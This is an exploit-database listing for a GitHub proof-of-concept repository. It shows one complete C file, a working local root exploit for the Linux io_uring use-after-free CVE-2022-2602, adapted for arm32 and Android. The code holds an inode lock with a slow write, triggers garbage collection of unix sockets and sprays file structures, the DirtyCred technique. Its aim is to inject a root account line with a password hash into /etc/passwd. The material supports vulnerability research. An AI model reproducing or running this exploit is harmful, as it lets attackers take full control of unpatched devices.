Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

164 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files148
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/qemu/glA/cve2602_inode_nosq.c

C · 4,651 bytes
/* CVE-2022-2602 arm32/5.4 adaptation (inode-locking blocking variant).
 * Based on LukeGix poc_inode_locking.c; liburing API, arm NR fallbacks,
 * event-driven timing, configurable spray count and slow-write size.
 * Does NOT need userfaultfd (this is the Android/real-device direction).
 * Goal: UAF -> DirtyCred write of the pwned line into /etc/passwd. */
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/socket.h>
#include <liburing.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <err.h>
#include <errno.h>
#include <stdatomic.h>

#define P(...) do{ printf(__VA_ARGS__); fflush(stdout);}while(0)

static int SPRAY = 600;
static long SLOW_MB = 384;
static atomic_int phase;   /* 0 init, 1 slow write holding lock, 3 slow write done */

static char buffer[4096];

/* Holds /tmp/rwA inode write-lock with one large sparse writev. */
static void *slow_write(void *arg){
    (void)arg;
    long bytes = SLOW_MB*1024*1024;
    int fd = open("/tmp/rwA", O_RDWR|O_CREAT, 0644);
    if(fd<0) err(1,"slow open rwA");
    char *src = mmap(NULL, bytes, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if(src==MAP_FAILED) err(1,"slow mmap");
    src[0]='h';   /* touch only first page; remaining reads take zero-page faults */
    struct iovec iov[1]; iov[0].iov_base=src; iov[0].iov_len=bytes;
    P("[slow] writev of %ld MB to hold inode lock\n",SLOW_MB);
    atomic_store(&phase,1);
    long w = writev(fd, iov, 1);
    P("[slow] writev returned %ld (%s)\n", w, w<0?strerror(errno):"ok");
    atomic_store(&phase,3);
    return NULL;
}

static int sendfd(int s,int fd){
    struct msghdr msg; char buf[4096]; struct cmsghdr *cmsg;
    int fds[1]={fd};
    memset(&msg,0,sizeof(msg)); memset(buf,0,sizeof(buf));
    msg.msg_control=buf; msg.msg_controllen=sizeof(buf);
    cmsg=CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level=SOL_SOCKET; cmsg->cmsg_type=SCM_RIGHTS;
    cmsg->cmsg_len=CMSG_LEN(sizeof(fds));
    memcpy(CMSG_DATA(cmsg),fds,sizeof(fds));
    msg.msg_controllen=CMSG_SPACE(sizeof(fds));
    return sendmsg(s,&msg,0);
}

static void prepare_request(int fd,struct io_uring_params *params,struct io_uring *ring){
    struct io_uring_sqe *sqe;
    io_uring_queue_mmap(fd,params,ring);
    sqe=io_uring_get_sqe(ring);
    sqe->opcode=IORING_OP_WRITEV;
    sqe->fd=1;
    sqe->addr=(long)buffer;   /* iovec array; iov[0] = pwned passwd line */
    sqe->len=12;
    sqe->flags=IOSQE_FIXED_FILE;
}

int main(int argc,char**argv){
    if(argc>1) SPRAY=atoi(argv[1]);
    if(argc>2) SLOW_MB=atol(argv[2]);

    struct io_uring ring;
    int fd; struct io_uring_params *params;
    int rfd[32]; int s[2]; pthread_t th;
    struct iovec *iov=(void*)buffer;
    iov[0].iov_base="pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n";
    iov[0].iov_len=59;

    if(socketpair(AF_UNIX,SOCK_DGRAM,0,s)<0) err(1,"socketpair");
    params=malloc(sizeof(*params)); memset(params,0,sizeof(*params));
    params->flags=0;  /* non-SQPOLL */
    fd=io_uring_setup(32,params);
    if(fd<0){ P("[!] setup(noSQPOLL)=%d %s\n",fd,strerror(errno)); return 2; }
    P("[+] io_uring fd=%d (non-SQPOLL)\n",fd);

    rfd[0]=s[1];
    rfd[1]=open("/tmp/rwA",O_RDWR|O_CREAT|O_APPEND,0644);
    if(rfd[1]<0) err(1,"open rwA fixed");
    if(io_uring_register(fd,IORING_REGISTER_FILES,rfd,2)<0) err(1,"register");
    P("[+] registered fixed files\n");
    close(rfd[1]);
    sendfd(s[0],fd);
    close(s[0]); close(s[1]);

    pthread_create(&th,NULL,slow_write,NULL);
    while(atomic_load(&phase)!=1) usleep(5000);
    P("[+] slow write holds lock; submitting blocked writev\n");
    prepare_request(fd,params,&ring);
    io_uring_submit(&ring);
    usleep(300000);                 /* let SQPOLL pick it up, fget fixed file, block on lock */
    io_uring_queue_exit(&ring);

    if(!fork()){
        close(socket(AF_UNIX,SOCK_DGRAM,0));  /* trigger unix_gc */
        _exit(0);
    }
    usleep(600000);                 /* GC frees the registered rwA struct file */
    P("[*] spraying %d /etc/passwd struct files\n",SPRAY);
    int td=open("/etc/passwd",O_RDONLY|O_DIRECT);
    P("    O_DIRECT=%d (%s)\n",td,td<0?strerror(errno):"ok");
    for(int i=0;i<SPRAY;i++){
        if(open("/etc/passwd",O_RDONLY)<0) break;   /* keep fds open to hold the slab */
    }
    P("[*] spray done, waiting for slow write to release lock\n");
    while(atomic_load(&phase)!=3) usleep(20000);
    pthread_join(th,NULL);
    wait(NULL);
    P("[+] sequence complete; grep pwned /etc/passwd (may be at file start)\n");
    sleep(2);
    return 0;
}